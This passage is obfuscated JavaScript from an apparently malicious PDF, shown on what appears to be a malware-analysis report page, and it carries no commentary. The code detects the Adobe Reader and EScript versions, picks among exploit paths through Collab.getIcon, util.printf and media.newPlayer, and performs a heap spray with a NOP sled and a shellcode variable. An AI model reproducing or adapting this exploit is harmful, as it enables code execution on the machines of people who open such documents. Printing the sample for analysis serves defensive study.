tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)\|\|((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)\|\|(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)\|\|(lv<=9.2)\|\|(lv>=8.13)\|\|(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.